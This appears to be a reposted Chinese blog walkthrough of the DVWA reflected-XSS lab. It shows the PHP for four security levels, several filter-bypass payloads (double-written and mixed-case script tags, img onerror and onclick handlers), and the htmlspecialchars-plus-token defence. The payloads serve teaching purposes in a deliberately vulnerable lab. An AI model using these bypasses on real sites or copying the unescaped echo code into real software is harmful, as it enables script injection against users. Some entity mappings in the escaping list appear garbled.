xSS-Reflected
生活随笔
收集整理的這篇文章主要介紹了
xSS-Reflected
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
反射性(非持久性XSS),藏在URL中
一般用戶訪問惡意鏈接執行
?
Low
<?phpheader ("X-XSS-Protection: 0");// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Feedback for end userecho '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; }?>沒有進行任何過濾???? payload:
<script>alert('xss')</script>?
?
Medium
<?phpheader ("X-XSS-Protection: 0");// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = str_replace( '<script>', '', $_GET[ 'name' ] );// Feedback for end userecho "<pre>Hello ${name}</pre>"; }將<script>替換成空
雙寫繞過即可 payload:
<scri<script>pt>alert('xss')</script>?
或者采用大小寫繞過
<scRIpt>alert('xss')</script>?
High
<?phpheader ("X-XSS-Protection: 0");// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );// Feedback for end userecho "<pre>Hello ${name}</pre>"; }?>過濾script,但是并沒有過濾其他的事件,可以用 img svg? iframe等繞過
先將前面的標簽閉合
payload:
</pre><img src="x" οnerrοr=alert('xss')>?
<a href='#' οnclick=alert('xss')>a</a>?
?Impossible
<?php// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$name = htmlspecialchars( $_GET[ 'name' ] );// Feedback for end userecho "<pre>Hello ${name}</pre>"; }// Generate Anti-CSRF token generateSessionToken(); htmlspecialchars函數將字符轉義成HTML實體&:轉換為&
":轉換為"
':轉換為成為 '
<:轉換為<
>:轉換為>
同時采用token來驗證身份,從而防止XSS攻擊和CSRF攻擊
?
轉載于:https://www.cnblogs.com/gaonuoqi/p/11391602.html
總結
以上是生活随笔為你收集整理的xSS-Reflected的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: sap事务代码如何收藏_一、SAP中添加
- 下一篇: SATA硬盘有固件问题的硬盘型号以及购买